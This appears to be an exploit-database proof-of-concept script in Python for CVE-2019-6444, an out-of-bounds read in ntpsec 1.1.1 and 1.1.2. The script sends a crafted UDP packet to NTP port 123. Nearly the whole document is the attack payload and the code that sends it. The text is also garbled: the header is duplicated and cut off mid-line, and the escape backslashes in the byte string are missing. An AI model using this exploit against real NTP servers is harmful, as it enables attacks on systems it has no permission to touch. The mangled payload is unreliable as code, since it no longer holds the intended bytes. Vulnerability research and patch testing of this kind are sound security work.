#!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (&# #!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-oobread2
# Vendor Homepage: https://ntpsec.org/
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz
# Affected versions: ntpsec 1.1.1, 1.1.2
# CVE: CVE-2019-6444
# Note: this PoC does not crash the target

import sys
import socket

buf = ("x8ex0ax6bxc3x80x00x00x00x00x00x02x48x47x50x53x73" +
"x6bxc3x80x00x00x00x00x00x02x48x47x50x53x73xddxb5" +
"xc9x64xcfx8ax2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx44x47x50x10x00x47xb5xc9xcfx97xbbx00xe5xf8xdd" +
"xb5xc9x6bxd8x7fx81xc2xddxb5xc9x6bxddx80xe4xe4xe5" +
"x9fx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx21x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bxc5xbfxbcx6bxd8x7fx82x00x2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x42x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bxedx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx00x00xe4xe4x2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx00" +
"x01x00x00x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx29x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx2b" +
"x2bx2bx2bx2bx2bx2bx2bx2bx2bx2bx97x48xddxb5xc9x6b" +
"xbbxe8x08xf8xddxbaxc9x6bxd8x7fx82xc2xddxb5xc9x6b" +
"xd8x80x57x9f")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))